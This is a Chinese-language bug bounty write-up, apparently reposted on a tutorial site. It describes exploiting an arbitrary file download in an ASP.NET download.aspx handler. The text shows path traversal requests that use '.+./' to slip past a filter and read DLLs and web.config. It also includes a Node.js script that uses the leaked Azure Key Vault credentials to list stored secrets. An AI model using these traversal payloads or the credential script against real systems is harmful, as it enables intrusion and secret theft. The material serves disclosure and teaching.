溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

ASP.NET應(yīng)用泄露讀取分析

發(fā)布時間:2021-12-06 14:55:57 來源:億速云 閱讀:317 作者:iii 欄目:網(wǎng)絡(luò)管理

本篇內(nèi)容主要講解“ASP.NET應(yīng)用泄露讀取分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學(xué)習(xí)“ASP.NET應(yīng)用泄露讀取分析”吧!

確定漏洞點

在最近的挖洞過程中,我遇到了以下這個url

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...

首先就覺得可以試試任意文件下載,訪問后,在加載頁面時,它會從服務(wù)器上的另一個路徑下載幫助文檔。但是它加密了,我沒法篡改f的值,假設(shè)我能夠找到密鑰來解密參數(shù)(可能是AES加密),估計能嘗試利用下LDF。

不過運氣還不錯,在網(wǎng)站的舊版本中找到了相同的下載點,如下:

https://domain.com/utility/download.aspx?f=file1234.docx

響應(yīng)如下:

HTTP/1.1 200 OKConnection: closeContent-Length: 27363?ó|u?Z^tù¢y?ˉ;!Y,}{?C?3/h>

我立馬就把參數(shù)改成download.aspx,竟然能返回apsx文件內(nèi)容。

GET /utility/download.aspx?f=download.aspxHTTP/1.1 200 OKConnection: closeContent-Length: 263<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>

經(jīng)過測試,能訪問aspx文件內(nèi)容,但是實際的源碼文件aspx.cs無法訪問。

有關(guān).aspx與.aspx.cs的區(qū)別可以參考https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs

這個問題需要解決,不然無法后續(xù)進行利用。

我接著訪問其他目錄,看看有沒有發(fā)現(xiàn)。

繞過目錄訪問限制

使用常規(guī)的../來遍歷時,發(fā)現(xiàn)總是返回400 bad request,估計有過濾。

使用burp嘗試下fuzz,看看能不能繞過。

可以手工進行測試,但為了節(jié)省時間就使用以下請求進行fuzz

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

ASP.NET應(yīng)用泄露讀取分析

查看返回的內(nèi)容,發(fā)現(xiàn)使用字符+返回了正確的內(nèi)容。

這里我很疑惑,本地搭建環(huán)境測試的使用我使用+進行fuzz沒成功,大致猜想加號在url中代表空格,也許與Window的文件名有關(guān)。

進一步利用

既然繞過了限制,接著我嘗試讀取了下ashx文件,ashx文件是一種帶HTML和C#的混合文件,猜測應(yīng)該能讀取。

讀取成功

HTTP/1.1 200 OKConnection: closeContent-Length: 2398<%@ WebHandler Language="C#" Class="redacted.redacted" %>Imports SystemImports System.DataImports System.Data.SqlClientImports System.IOImports System.WebImports System.Configuration...

到這里已經(jīng)能得到一些敏感信息了,接著想更深一步利用,所以我決定讀取更多的源代碼文件。

當對一種技術(shù)迷惑的時候,最好是去讀它的官方文檔,所以在閱讀ASP.NET應(yīng)用程序文檔時發(fā)現(xiàn)編譯類是保留/bin/className.dll中的。這意味著我們應(yīng)該能夠提取.ashx 文件中引用的類名。

通過發(fā)送以下請求,我能夠下載到源文件的DLL(存儲DLLhttps://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/)

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下載后,使用dnSpy(C#反編譯工具)導(dǎo)入DLL并恢復(fù)應(yīng)用程序的源代碼,之后可以下載更多的類文件來獲取源代碼。

ASP.NET應(yīng)用泄露讀取分析

Azure密鑰泄露證明造成嚴重影響

ASP.NET應(yīng)用程序中敏感的文件有web.config,該文件本質(zhì)上是一個配置文件,其中包含從單個頁面到整個Web服務(wù)器的各種變量。文件里存在大量敏感信息,例如SQL數(shù)據(jù)庫密碼,比如上面我們看到的已加密參數(shù)的加密密鑰,以及應(yīng)用程序使用的內(nèi)部接口。

下面是一個示例web.config文件。

<?xml version="1.0" encoding="utf-8"?><!--  For more information on how to configure your ASP.NET application, please visithttp://go.microsoft.com/fwlink/?LinkId=301880  --><configuration>  <appSettings>    <add key="webpages:Version" value="3.0.0.0" />    <add key="webpages:Enabled" value="false" />    <add key="ClientValidationEnabled" value="true" />    <add key="UnobtrusiveJavaScriptEnabled" value="true" />    <add key="PodioClientId" value="" />    <add key="PodioClientSecret" value="" />        <add key="AppId" value="" />    <add key="SpaceId" value="" />  </appSettings>  <connectionStrings>    <remove name="umbracoDbDSN" />    <add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />  </connectionStrings>    <system.web>    <compilation debug="true" targetFramework="4.5" />    <httpRuntime targetFramework="4.5" />  </system.web></configuration>

發(fā)送以下請求后,我們獲取到了web.config的內(nèi)容。

GET /utility/download.aspx?f=.+./.+./web.config

其中響應(yīng)中包含了許多secrets,最值得注意的是以下secrets的泄露。

...<add key="keyVaultDataPlaneUri" value="redacted" /><add key="uniqueKeyVaultNameUri" value="redacted" /><add key="keyVaultClientId" value="redacted" /><add key="keyVaultClientSecretIdentifier" value="redacted" /><add key="keyVaultClientTenantName" value="redacted" /><add key="keyVaultAuthenticationContextUri" value="redacted" /><add key="keyVaultApiVersion" value="2016-10-01" />...

利用這些密鑰可以訪問Azure Key Vault實例。而Azure Key Vault用來保存應(yīng)用程序的secrets,會帶有一些敏感信息。

現(xiàn)在的問題是如何正確發(fā)送請求來訪問Azure Key Vault實例?在與朋友shubs討論之后,他立馬寫出了一個Node.js腳本,使用公開的密鑰成功訪問了Azure Key Vault實例...哈哈

var KeyVault = require('azure-keyvault');var AuthenticationContext = require('adal-node').AuthenticationContext;var clientId = "clientId";var clientSecret = "clientSecret";var vaultUri = "vaultUri";// Authenticator - retrieves the access tokenvar authenticator = function (challenge, callback) {  // Create a new authentication context.  var context = new AuthenticationContext(challenge.authorization);  // Use the context to acquire an authentication token.  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {    if (err) throw err;    // Calculate the value to be set in the request's Authorization header and resume the call.    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;    console.log(authorizationValue);    return callback(null, authorizationValue);  });};var credentials = new KeyVault.KeyVaultCredentials(authenticator);var client = new KeyVault.KeyVaultClient(credentials);client.getSecrets(vaultUri).then(function(value) {    console.log(value);});

響應(yīng)如下:

{ id:     'https://redacted.vault.azure.net/secrets/ftp_credentials',    attributes:     { enabled: true,       created: 2018-01-23T22:14:18.000Z,       updated: 2018-01-23T22:14:18.000Z,       recoveryLevel: 'Purgeable' },    contentType: 'secret' } ]... more secrets ...

本次漏洞利用完成,最終獲取的secrets足以讓我控制系統(tǒng)來證明危害程度,所以可以提交報告了。

到此,相信大家對“ASP.NET應(yīng)用泄露讀取分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進入相關(guān)頻道進行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI